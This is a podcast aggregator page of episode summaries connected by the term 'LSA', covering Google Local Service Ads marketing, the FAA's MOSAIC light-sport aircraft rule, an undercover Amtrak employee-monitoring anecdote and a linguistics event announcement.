Episode Summary: In this episode of Legal Marketing Happy Hour, host Elisza Lambert sits down with Jim Hayes, Chief Revenue Officer at Above the Bar Marketing, to discuss how law firms can get the most from their paid advertising strategies. Jim breaks down the key differences between pay-per-click (PPC) and Google Local Service Ads (LSAs), explains why a hybrid approach is often the smartest investment, and shares the most common mistakes law firms make when launching campaigns. The conversation covers intake processes, negative keywords, budget planning, and how to protect return on ad spend in a highly competitive legal market. Key Timestamps: 00:01 – Show Introduction 02:05 – PPC vs. LSAs: how they appear and how firms are charged 06:12 – Which types of law firms benefit most from LSAs and PPC 10:40 – Why hybrid ad models matter for sustainable results 13:22 – Biggest mistakes firms make with PPC campaigns 17:30 – The importance of negative keywords and keyword match types 21:55 – Best practices for intake teams handling PPC and LSA leads 28:33 – Why fast human response is critical for ad-driven leads 33:45 – Recent Google updates and the future of AI-driven ads 37:20 – What a healthy monthly ad budget looks like for law firms 43:15 – The two most important fixes every firm should make immediately About the Show: Legal Marketing Happy Hour is a podcast dedicated to helping law firms grow smarter, faster, and more profitably. Hosted by Elisza Lambert, the show features tactical insights and candid conversations with industry leaders on the strategies that drive results in today's legal marketing landscape.  

Local Marketing Institute Podcast
Local SEO and Marketing Q&A Session August 29, 2025

Local Marketing Institute Podcast

Play Episode Listen Later Sep 2, 2025 59:58


Each week, Greg and Ben answer your questions on digital marketing for local businesses … local search engine optimization (SEO), Google Business Profile, social media, email marketing, websites, online advertising and more.Updates and QuestionsLSA removes guarantee badge.AI assistants prefer to cite fresh content.Study says only 1% of users click on AI citation links.Top web domains cited by LLMs.Microsoft CoPilot and ChatGPT offers Google Maps for local sources. Review recency impacting ranking.Can I have two GBP listings at the same address?What are some ways to incorporate AI into your workflow for efficiency?Should I use an AI agent to help improve visibility?Are the product carousels showing up differently on Android vs. Apple?How do I remove spam reviews on Facebook?What should I do when the review reporting form doesn't work?Does the “popular times” section in GBP influence rankings?Are there any problems related to not being able to receive new reviews?How do you get refunds for bad leads from LSA?Links mentioned in this session are available on our website at https://localmarketinginstitute.com

Jake and Gino Multifamily Investing Entrepreneurs
How to Scale Home-Service Businesses: ROAS & AI Content (with Phil Risher) | Jake & Gino Podcast

Jake and Gino Multifamily Investing Entrepreneurs

Play Episode Listen Later Sep 1, 2025 46:15


From texting workflows and estimate calculators to Google's four-result “Monopoly board,” Phil shows how better ops beat “more leads.” We dig into retargeting your ignored database, the five metrics that matter, and how AI/LLM authority content will shape the next decade. Whether you run HVAC, plumbing, gutters—or manage 1,800 units—these tactics turn chaos into pipeline. Watch to level up your home service marketing today.Connect with Phil RisherWebsite: https://phlashconsulting.com/ Chapters:00:00 – Introduction 07:19 – Two big fixes: ROAS visibility + lead management 09:11 – Text-first workflows that boost response & bookings 13:37 – Chat-to-text widgets & estimate calculators that convert 22:10 – Google “Monopoly board”: LSA, Search Ads, Map Pack, SEO 24:26 – Content flywheel from real customer calls (They Ask, You Answer) 27:21 – AI search & becoming the local authority with content 38:28 – Scaling ladder & PE honey holes (retargeting) 44:45 – Gino Wraps it Up We're here to help create multifamily entrepreneurs... Here's how: Brand New? Start Here: https://jakeandgino.mykajabi.com/free-wheelbarrowprofits Want To Get Into Multifamily Real Estate Or Scale Your Current Portfolio Faster? Apply to join our PREMIER MULTIFAMILY INVESTING COMMUNITY & MENTORSHIP PROGRAM. (*Note: Our community is not for beginner investors)

Tree Service Marketing Profits
Friday, 2PM LSA Masterclass: Boost Tree Service Leads with Google Reviews

Tree Service Marketing Profits

Play Episode Listen Later Aug 26, 2025 4:18 Transcription Available


Quick reminder about the Google Ads Masterclass Friday, August 29 at 2 p.m. EST covering up-to-date Local Service Ads tactics, recent changes to review integration with Google Business Profile, and practical steps to get more calls and leads. This episode explains why Google reviews (rating, quantity, and recency) are crucial for LSA performance and directs listeners to register via the link in the show notes, the YouTube post, or the Tree Service Digital Facebook page and join the Tree Service Marketing Secrets Facebook group. Register Here FREE! https://us06web.zoom.us/webinar/register/WN_GCgpy9Q9RkOCMdrwKxwd0A#/registration

Marketing O'Clock
Search Partner Placements Reporting For Duty: Google Ads Answers Advertisers' Prayers

Marketing O'Clock

Play Episode Listen Later Aug 25, 2025 58:27


This week on Marketing O'Clock: Full placement reporting is finally arriving for the Search Partner Network. Also, Google retires its LSA badges in favor of one “Verified” badge. Plus, AI Mode expands internationally with new capabilities — but still English-only.Link to Fred's Article - https://www.optmyzr.com/blog/amazon-leaves-google-ads-impact/Visit us at - https://marketingoclock.com/

The Roof Strategist Podcast
4 CRM Automations That PRINT MONEY for Roofers

The Roof Strategist Podcast

Play Episode Listen Later Aug 21, 2025 11:32


Ad costs are going up.Your PPC and LSA budget isn't going as far as it used to.And the truth is… it's only getting more competitive from here.Private equity is throwing buckets of cash into roofing.They're trying to outbid the little guy.But this isn't doom and gloom.It's your chance to get more leads and more sales from what you're already paying for.That's why I'm showing you the 4 CRM automations that you need to survive in 2025-2028.I am also giving you my CRM Cheat Sheet to help you implement these: https://adamsfreestuff.com/ When you get these set up, you'll close even more without spending a dollar more on ads.P.S. Want my plug-and-play automation writer, monthly marketing training, live hot seats, and more resources to dominate your marketing? It's all inside our application-only community called RSRA. Where we're building profitable, future-proof companies… the right way. Details here: https://www.rsra.org/join/ =============FREE TRAINING CENTERhttps://theroofstrategist.com/free-training-centerJOIN THE ROOFING & SOLAR REFORM ALLIANCE (RSRA)https://go.rsra.org/join-podcastGET MY BOOKhttps://a.co/d/7tsW3Lx GET A ROOFING SALES JOBhttps://secure.rsra.org/find-a-job CONTACTEmail: help@roofstrategist.comCall/Text: 303-222-7133FOLLOW ADAM BENSMANhttps://www.youtube.com/channel/UCSVx5TWX-m2dl6yuUVF05Dwhttps://www.facebook.com/adam.bensman/   https://www.facebook.com/RoofStrategist/ https://www.instagram.com/roofstrategist/ https://www.tiktok.com/@roofstrategist https://www.linkedin.com/in/roofstrategist/#roofstrategist #roofsales #d2d  #solar #solarsales #roofing #roofer #canvassing #hail #wind #hurricane #sales #roofclaim #rsra #roofingandsolarreformalliance #reformers #adambensman 

The Near Memo
Google's LSA Shake-Up, Google LSA Dark Patterns & BrightLocal SMB Marketing Insights

The Near Memo

Play Episode Listen Later Aug 21, 2025 28:26


Send us a textGoogle is consolidating Local Services Ads trust signals into a single verification badge — but is it really about trust or revenue? Greg and Mike discuss Google's evolving ad strategy, the ongoing degradation of organic results, their "dark patterns" that elevate LSA usage and new BrightLocal data showing less than half of small businesses have claimed their Google Business Profiles. Plus: why email remains an overlooked channel, and whether AI tools like ChatGPT can realistically challenge Google in local.Subscribe to our newsletters and other content at https://www.nearmedia.co/subscribe/

Tree Service Marketing Profits
Have you seen this new Google LSA Update?

Tree Service Marketing Profits

Play Episode Listen Later Aug 20, 2025 5:15


Big change just rolled out! Customer reviews for Local Service Ads are now fully managed through Google Business Profile (your Google Maps listing). This means your star ratings and review counts may look different — and it can impact your LSA rankings. In this audio, we break down what's changed, why some reviews disappeared, and the best way to collect reviews moving forward so you keep showing up at the top. Watch now to stay ahead of the update and make sure your reviews work for you, not against you! Join our FREE facebook group - Tree service marketing secrets! https://www.facebook.com/groups/treeservicemarketingsecrets Download our Ultimate Internet Marketing Checklist FREE: https://treeservicedigital.com/free-checklist/ Listen to our Podcast @ https://treeservicedigital.com/podcast/ Follow our new LinkedIn Page : https://www.linkedin.com/company/tree-service-digital-marketing/  

Owned and Operated
#232 Buying $200,000 in Leads - Is It Worth It?

Owned and Operated

Play Episode Listen Later Aug 12, 2025 49:59 Transcription Available


If you're trying to grow a home service business, your marketing budget is one of your biggest bets — and biggest risks. In this episode of Owned and Operated, John Wilson and Sam Preston host a no-fluff Q&A tackling real contractor questions on lead generation, paid ads, and when to actually bring in an agency.They break down how to allocate marketing spend at every stage — from $1K/month up to $200K — and what it really takes to get traction with LSA, GMB, and PPC. You'll learn how to play offense with your best-performing lead sources, why spreading your budget too thin kills momentum, and how to ride your winning channels like you stole it.If you're struggling to get leads from PPC or Google Ads, they also cover how to fix campaign waste, when landing pages are the problem, and how top operators manage their media vs lead-gen mix to scale past $10M.Whether you're just getting started or dialing in a multi-location growth strategy, this episode is a tactical deep dive into what's actually working right now.

Aviation News Talk podcast
396 How All Pilots Benefit from New MOSAIC Sport Pilot and LSA Rules with Sean Elliott + GA News

Aviation News Talk podcast

Play Episode Listen Later Aug 8, 2025 66:27


In this episode of the Aviation News Talk podcast, Max Trescott talks with Sean Elliott, Vice President of Advocacy and Safety at the Experimental Aircraft Association (EAA), about the FAA's groundbreaking MOSAIC final rule—and how it benefits all pilots, not just sport pilots or Light-Sport Aircraft owners. Sean explains that MOSAIC replaces the old, restrictive Light-Sport Aircraft definition with a performance-based standard, removing the long-standing 1,320-pound maximum takeoff weight limit and focusing instead on a clean stall speed (VS1) of no more than 59 knots CAS for sport pilot privileges and a landing configuration stall speed (VSO) of no more than 61 knots for LSA certification. This single change dramatically broadens the pool of aircraft that qualify, meaning many popular legacy models—like certain Cessna 172s and even Cirrus SR20s—can now be flown by sport pilots, and private pilots can operate them under sport pilot privileges with nothing more than a valid U.S. driver's license in place of an FAA medical. For older pilots or those with long-term medical concerns, MOSAIC is a game-changer. A private pilot who no longer maintains a Third Class or BasicMed medical can still keep flying a wide variety of capable, familiar aircraft—often including the same ones they've flown for years—so long as they meet the new stall speed limits and carry no more than one passenger. Sean and Max discuss how this provision gives seasoned aviators a safe and legal way to extend their flying years without the administrative burden or risk of renewing a medical certificate. MOSAIC also expands sport pilot privileges beyond the original daytime, fair-weather limitations. With additional training and endorsements, sport pilots will be able to fly at night under VFR, operate aircraft with constant-speed propellers and retractable landing gear, and take advantage of higher cruise speeds—removing many of the practical barriers that once kept sport pilots from flying more capable airplanes. The rule even opens the door for certain limited commercial operations by sport pilots, including banner towing, glider towing, and pipeline or powerline patrol—tasks previously off-limits without at least a private pilot certificate. On the aircraft side, the MOSAIC framework allows manufacturers to certify a much wider range of designs as LSAs under ASTM consensus standards. This could lead to modernized versions of classic Part 23 trainers like the Cessna 172 becoming available in factory-new LSA configurations, as well as innovative new designs in the experimental, gyroplane, and electric aircraft categories. Sean notes that this flexibility benefits the industry by encouraging innovation while keeping costs lower than traditional FAA certification pathways. Flight schools stand to gain as well. Because many mainstream trainers now qualify as LSAs, schools can use them to train sport pilots without investing in specialized two-seat LSAs that may be less versatile for other types of training. This flexibility could help schools reach a new segment of students—especially older adults returning to flying or beginners looking for a faster, less expensive path to the cockpit. Max and Sean also cover how MOSAIC affects aircraft maintenance. Repairman certificates for LSAs will still exist, and MOSAIC provides expanded privileges for light-sport repairman-inspectors and mechanics working on these aircraft, supporting both owner-maintenance and professional servicing. Sean stresses that while MOSAIC dramatically broadens options, it doesn't automatically change the certification status of existing aircraft—manufacturers or owners must still pursue LSA certification through the ASTM process. That means pilots should verify whether a particular aircraft is LSA-certified or qualifies for operation under sport pilot rules before assuming they can fly it without a medical. The conversation closes with EAA's commitment to supporting pilots, flight schools, and manufacturers through MOSAIC's rollout. EAA will work closely with ASTM to develop the updated industry standards needed to implement the new rules, while also providing education and advocacy to ensure pilots understand their new privileges and responsibilities. This episode is essential listening for any pilot curious about the future of general aviation under MOSAIC—whether you're a sport pilot, a private pilot considering BasicMed alternatives, a CFI planning to expand your student base, or an aircraft owner wondering if your plane might now qualify as an LSA. With expert insights from one of the country's leading aviation advocates, you'll learn exactly how MOSAIC changes the game for who can fly what, and under what conditions, for years to come. If you're getting value from this show, please support the show via PayPal, Venmo, Zelle or Patreon. Support the Show by buying a Lightspeed ANR Headsets Max has been using only Lightspeed headsets for nearly 25 years! I love their tradeup program that let's you trade in an older Lightspeed headset for a newer model. Start with one of the links below, and Lightspeed will pay a referral fee to support Aviation News Talk. Lightspeed Delta Zulu Headset $1299 NEW – Lightspeed Zulu 4 Headset $1099 Lightspeed Zulu 3 Headset $949Lightspeed Sierra Headset $749 My Review on the Lightspeed Delta Zulu Send us your feedback or comments via email If you have a question you'd like answered on the show, let listeners hear you ask the question, by recording your listener question using your phone. News Stories FAA Unveils Rule to Expand Drone Flights into National Airspace System Bonus Depreciation for Aircraft is back Pilot's attempt to break in new engine ends in crash Pilots run out of energy in electric airplane A new life for Cirrus parachutes In Alaska, CTAF frequencies are now regional Plane Stolen Twice In One Week Mentioned on the Show Buy Max Trescott's G3000 Book Call 800-247-6553 Lightspeed Delta Zulu Headset Giveaway NTSB News Talk Podcast UAV News Talk Podcast Rotary Wing Show Podcast Free Index to the first 282 episodes of Aviation New Talk So You Want To Learn to Fly or Buy a Cirrus seminars Online Version of the Seminar Coming Soon – Register for Notification Check out our recommended ADS-B receivers, and order one for yourself. Yes, we'll make a couple of dollars if you do. Get the Free Aviation News Talk app for iOS or Android. Check out Max's Online Courses: G1000 VFR, G1000 IFR, and Flying WAAS & GPS Approaches. Find them all at: https://www.pilotlearning.com/ Social Media Like Aviation News Talk podcast on Facebook Follow Max on Instagram Follow Max on Twitter Listen to all Aviation News Talk podcasts on YouTube or YouTube Premium "Go Around" song used by permission of Ken Dravis; you can buy his music at kendravis.com If you purchase a product through a link on our site, we may receive compensation.

Its Never Too Late
But You Don't Look Like A Spy

Its Never Too Late

Play Episode Listen Later Aug 4, 2025 23:57


Do you mean big companies really hire spies to prevent fraud and criminal activities? Yes, but more Betty Crocker and less James Bond.   Our guest today,  Jean Hughey was adjusting to a cross country move and so she looked for a part time job.  She didn't expect to wind up as a spy for a one of the US' biggest companies.  She turned out to be pretty good at it. Dorothy observes, "This seemed a wild story to me and I wondered if companies still hired spies. I easily found 6 different companies that provide what they now call company monitoring. When Jean Hughey started as a spy for Amtrak from 2004 to 2008 she recalls that she was cautioned to remember that "I'm not James Bond." She recalls, "I was an employee of Amtrak as a computer programmer, when my husband retired at 55 as the National Agricultural engineer in Washington DC.  My boss introduced me to The Protection Unit and they wanted me to be a spy on the west coast. They had people working on the east coast, but were anxious to see how I would do on the west coast. "They sent me emails with information on what employee to observe and which train to ride." Jean had to work out a method of recording her observations of subjects. (spread sheet in a puzzle book).   Also the report had to include description of employee and how they handled the interaction. "After the observation was over I had to write up a report and send the spread sheet with the time and items bought in the cafe car. and who was the LSA. "Amtrak compared my observations with the register receipt that the LSA turned in." Some observations: In cafe car: Box over register so customers couldn't see what the LSA entered. LSA sold items that were brought on board (water etc) and pocketed the money. Getting on train: Conductor being observed. Paying cash (kicked off train - yelled at by conductor) Had to go to Seattle to an Amtrak Court to testify about one LSA (Lead Service Attendant) who was fired. He was the one who put the box over the register and pocketed the money for items. I got threats from this employee but nothing came from it. " The notes are very cryptic and spy-like.  It's a wonder anyone ever got out of there alive.  Last month, news surfaced that major companies like Walmart, Starbucks, Delta and Chevron were using AI to monitor employee communications. The reaction online was swift, with employees and workplace advocates worrying about a loss of privacy. But experts say that while AI tools might be new, watching, reading and tracking employee conversations is far from novel. AI might be more efficient at it — and the technology might raise some new ethical and legal challenges, as well as risk alienating employees — but the fact is workplace conversations have never really been private anyway. “Monitoring employee communications isn't new, but the growing sophistication of the analysis that's possible with ongoing advances in AI is,” said David Johnson, a principal analyst at Forrester Research. Thanks, Jean, We'll be watching for spies on our next long distance trip. Learn more about your ad choices. Visit megaphone.fm/adchoices

Airplane Geeks Podcast
857 MOSAIC – the Modernization of Special Airworthiness Certification final rule

Airplane Geeks Podcast

Play Episode Listen Later Jul 30, 2025 91:39


The MOSAIC final rule, an interview with the founder and CEO of Flying Eyes Optics, FAA guidance on certification of powered lift vehicles, new galleries opening at the National Air and Space Museum, a Delta pilot lands and gets immediately arrested, deer strikes in Alaska, and the NTSB investigation of a fatal flight in that state. Also, thoughts on recent moves to relocate the Space Shuttle Discovery from the Smithsonian's National Air and Space Museum to Space Center Houston. Guest Dean Siracusa Dean Siracusa is the founder and CEO of Flying Eyes Optics. Dean, a pilot, started the company when he realized that existing sunglasses did not perform well with the increased clamping force of modern aviation headsets. Flying Eyes temples are made of a patented material that allows the temples to conform to your head instead of curving around your ears. They're easy to put on and take off while wearing a headset or helmet. The flexibility of the temple material and shatterproof polycarbonate lenses makes these glasses hard to break. Hillel Glazer, our Aviation Innovation and Entrepreneurship Correspondent, interviewed Dean at EAA AirVenture Oshkosh 2025. Aviation News U.S. Transportation Secretary Sean P. Duffy Announces Improvements to Recreational Aviation Safety, Expansion of Light-Sport Sector The Modernization of Special Airworthiness Certification (MOSAIC) final rule was announced by U.S. Transportation Secretary Sean P. Duffy. The new rule makes changes to the Light Sport Aircraft (LSA) category and Sport Pilot privileges by expanding an alternative to experimental amateur-built aircraft. MOSAIC: Removes the weight limit Encompasses aircraft with higher speeds, more seats, and retractable landing gear.  Allows for new types of propulsion and modern avionics. Allows aerial work with LSA, such as infrastructure and forest inspections, photography/filming, and agricultural surveillance. Allows pilots operating under Sport Pilot privileges to fly a broader range of aircraft. Reduces regulatory requirements by expanding the types of aircraft that qualify as LSA and the types of aircraft pilots can fly under Sport Pilot privileges. Changes for sport pilots and light-sport repairmen take effect 90 days after the final rule publishes. Changes for LSA certification take effect 365 days after the final rule publishes. Video: Secretary Sean P. Duffy Holds Press Conference for Important Announcement on General Aviation https://www.youtube.com/live/iRzzTspdjUM?si=gje-ftiRm94Y2eY4 EAA Airventure Oshkosh 2025 Facts and Figures Attendance for the week: approximately 704,000, the highest on record. More than 10,000 aircraft, 2,543 show planes, nearly 6,000 volunteers, and 962 commercial exhibitors. FAA Releases Powered-Lift Certification Guidance Originally, certification of the new advanced air mobility (AAM) aircraft types, such as eVTOLs, had been worked under Part 23 regulations for light aircraft. In 2022, the FAA categorized them as powered-lift under FAR 21.17(b) regulations for special class aircraft. That category had no airworthiness standards and operating rules. The FAA has now released an advisory circular “streamlining the certification process for advanced air mobility aircraft by releasing guidance for how manufacturers can meet the agency's aircraft design and performance safety standards. It establishes a consistent, performance-based framework for manufacturers to follow.  The FAA will carefully evaluate each proposed design to ensure it meets the agency's rigorous standards.” The AC defines powered-lift as heavier-than-air aircraft that use “engine-driven lift devices” or engine thrust for vertical takeoff and landing and low-speed flight. For lift during horizontal flight, they use rigid airfoils such as wings. National Air and Space Museum Opens Five New Galleries July 28 [2025] The Smithsonian's National Air and Space Museum opened five ...

Linguistics Careercast
Live Linguistics Careeercast August 16 2025 – The AI Con Discussion

Linguistics Careercast

Play Episode Listen Later Jul 29, 2025 2:32


Live Linguistics Careercast coming your way on August 16! Join us for part two of our conversation on GenAI and linguistics, this time focusing on Emily M. Bender and Alex Hanna, Ph.D.’s recent book “The AI Con: How to Fight Big Tech's Hype and Create the Future We Want.” And we’ll follow the taping with a networking event in Gather! Host Laurel Sutton will be joined again by Alicia Beckford Wassink, Katie Swindler, and Aubrie Amstutz to continue the conversation from our live episode at LingFest25, which we released as a podcast on April 22, 2025. The 90 minute panel will take place in Zoom and will include a Q&A portion. After the panel, we'll move to Gather for an hour of networking. We invite attendees to mix and mingle, and to have space to process the great conversation. PANEL DISCUSSION/LIVE PODCAST: 10:00 – 11:30 AM Pacific Time (US and Canada) GATHER NETWORKING EVENT: 11:30AM – 12:30PM Pacific Time (US and Canada) Tickets are $5 for LSA members, and $7 for the general public. Registration can be found on Linguistic Society of America (LSA)’s website: https://www.lsadc.org/ev_calendar_day.asp?date=8/16/2025&eventid=106&mc_cid=d47d2d569b Big thanks to LSA for sponsoring this event! Haven't read the book yet? Pick up a copy or stop by your local bookstore!The post Live Linguistics Careeercast August 16 2025 – The AI Con Discussion first appeared on Linguistics Careercast.

Kidacity
Episode 112 - My Learnings From LSA Summer Camp + Special Interview With Dr. Jake G.

Kidacity

Play Episode Listen Later Jul 28, 2025 25:28


Namaste and Welcome back to another episode of Kidacity! During my time in The US I attended a Summer Camp conducted by the Leadership Society Of Arizona ( LSA ) all about Leadership and Life Skills. In this episode I talk all about my experiences in the camp + what I learnt. This episode also has a special interview with Dr. Jake G. - one of the co-founders of the non-profit, where I explored his ideas, ideologies and passion behind LSA! Tune in!Instagram: @samarthchittaTwitter: @samarthchittaEmail: samarth.chitta@gmail.com

The Maximum Lawyer Podcast
Why Your Law Firm's Chatbot Might Be Costing You Clients: The Case for Human Responses

The Maximum Lawyer Podcast

Play Episode Listen Later Jul 15, 2025 36:57


Watch the YouTube version of this episode HEREAre you a law firm owner looking for advice on how to make your firm more lucrative? In this episode of the Maximum Lawyer Podcast, Tyson interviews Ted DeBettencourt, a JD/MBA and a business owner. Ted shares his journey from Martha's Vineyard to legal tech entrepreneurship, discussing the island's unique culture and his transition from law to business. To run a successful law firm, it is important that certain processes are in place and run efficiently to turn a profit. An important thing to implement is to ensure there are more staff over auto responders and AI for Local Service Ads (LSA). LSA's will rank firms based on response times and this can affect how people perceive your firm at the first click. If your response time is slow, most people will not call you for help. Using real people to answer leads and call prospective clients will ensure you get off on the right foot with people who are looking for legal support.Ted and Tyson chat about the three most important marketing metrics for a successful law firm. The first metric is wanted leads. It is important to know how many leads are actually wanted, in which a firm will be interested in taking on. The second metric is signed rates. Out of the wanted leads, how many of them were signed on as actual cases for the firm. This will determine how successful a firm is when it comes to the number of cases that are taken on and it can show value. The third metric is average case value. This can be determined by how much a firm makes in a year based on the type of cases. Ultimately, the average case value will let someone know how successful a firm really is.Listen in to learn more!05:25 Google Local Services Ads (LSA) and Lead Response06:49 Manual vs. Automated Lead Response07:46 Importance of Fast Lead Response09:20 AI vs. Human Chat: Present and Future10:37 Human Connection in the Age of AI11:26 Regulations and Human-Only Policies23:14 What Sets Successful Law Firms Apart25:54 Key Marketing Metrics for Law FirmsTune in to today's episode and checkout the full show notes here. Connect with Ted at JuvoLeads:Website Linkedin 

Millionaire University
How a Home Service Digital Marketing Agency Has Mastered Lead Generation With Sam Preston (MU Classic)

Millionaire University

Play Episode Listen Later Jul 6, 2025 58:38


#486 What if you could grow your business from zero to $2 million in under a year? In this episode, host Brien Gearin sits down with Sam Preston, founder of Service Scalers, to uncover the strategies, tools, and mindset that fueled the incredible success of his home service digital marketing agency. You'll get a front row seat as they dive into key topics like the secrets to scaling fast, the importance of niching down, and how leveraging local service ads (LSA) can drive business growth. Whether you're looking to start an agency of your own, or you're a seasoned owner who wants to refine your approach to lead generation, this episode is a must-listen! (Original Air Date - 9/23/24) What we discuss with Sam: + Sam's journey to $2M agency growth + Niching down for easier scaling + Local service ads (LSA) as a lead gen game changer + Optimizing Google Business Profile for better leads + Monitoring and improving lead quality with call tracking + Marketing, sales, fulfillment, and recruitment teams + Common digital marketing pitfalls and solutions + Using AI tools like ChatGPT for content and strategy + Retaining clients with transparency and results Thank you, Sam! Check out Service Scalers at ⁠ServiceScalers.com⁠. Follow Sam on ⁠Twitter⁠. Watch the ⁠video podcast⁠ of this episode! To get access to our FREE Business Training course go to ⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠MillionaireUniversity.com/training⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠. And follow us on: ⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠Instagram⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠ ⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠Facebook⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠ ⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠Tik Tok⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠ ⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠Youtube⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠ ⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠Twitter⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠ To get exclusive offers mentioned in this episode and to support the show, visit ⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠millionaireuniversity.com/sponsors⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠. Want to hear from more incredible entrepreneurs? Check out all of our interviews ⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠here⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠⁠! Learn more about your ad choices. Visit megaphone.fm/adchoices

Wizard of Ads
How to Spend Less on Google

Wizard of Ads

Play Episode Listen Later Jun 30, 2025 6:39


Pain is a signal that something is wrong.Pain whispers, shouts, and screams, “Pay attention. Be careful. Something is wrong.”Jean Marzollo wrote a children's poem in 1948 that romanticized Christopher Columbus. It inspired a generation of children during the Captain Kangaroo years. Her proud poem begins,“In fourteen hundred ninety-twoColumbus sailed the ocean blue”Bill Bryson wrote an insightful summary of that famous voyage on page 205 of his book, “At Home.”“Columbus's real achievement was managing to cross the ocean successfully in both directions. Though an accomplished enough mariner, he was not terribly good at a great deal else, especially geography, the skill that would seem most vital in an explorer. It would be hard to name any figure in history who has achieved more lasting fame with less competence. He spent large parts of eight years bouncing around Caribbean islands and coastal South America convinced that he was in the heart of the Orient and that Japan and China were at the edge of every sunset. He never worked out that Cuba is an island and never once set foot on, or even suspected the existence of, the landmass to the north that everyone thinks he discovered: the United States.”We learn the meaning of pain as children, but we train ourselves to ignore it as adults.Why do we do that?I'm talking to you about the pain of your Google spend.Is there a chance that you should pay attention – and be careful – because something is wrong?Twenty years ago, Google inspired and electrified American business owners with their promise of “holding ad budgets accountable” by making advertising results, “identifiable, measurable, and scalable.”Business owners romanticized Google by shouting,“Hooray! Advertising will now become just another mathematical equation! Hooray! Hooray! To double my customer count, all I will have to do is double my ad budget!”I watched a friend of mine raise his monthly Google budget from $20,000/mo. to $70,000/mo because he was convinced that he would get three-and-a-half times as many leads. When it didn't work, I asked him to look closely at how many clicks he had purchased and compare that number to the total population of his trade area.Have you done that math?I watched another friend of mine elevate her Google budget until she was spending $90,000 a month. Her business was no longer profitable. I asked her to look at how many clicks she had purchased and compare that number to the total population of her trade area.Have you done that math?Have you ever raised your Google budget and had Google say to you, “We're sorry, but it is not possible to spend that much money on your LSA. There simply aren't enough people each day who are searching for what you sell.”Do the math.The past two decades have been the Captain Kangaroo years for millions of business owners.Bill Bryson wrote that Columbus was, “convinced that he was in the heart of the Orient and that Japan and China were at the edge of every sunset.”How many years have you been believing that your big payday from Google was at the edge of every sunset? Have you been saying,“All we need to do is tweak our plan a little. As soon as we figure out the Google algorithm, we're going to be rich.”A business owner from a major American city recently spent a day with me. He had been spending $100,000 on Google ads each month for the past few years because he was convinced that he could not afford mass media in his city.His budget could easily have made his name a household word by using television or radio. I know the town well. I have had clients there for many years.His budget would reach more than 2 million...

Bibliotekspodden Solen
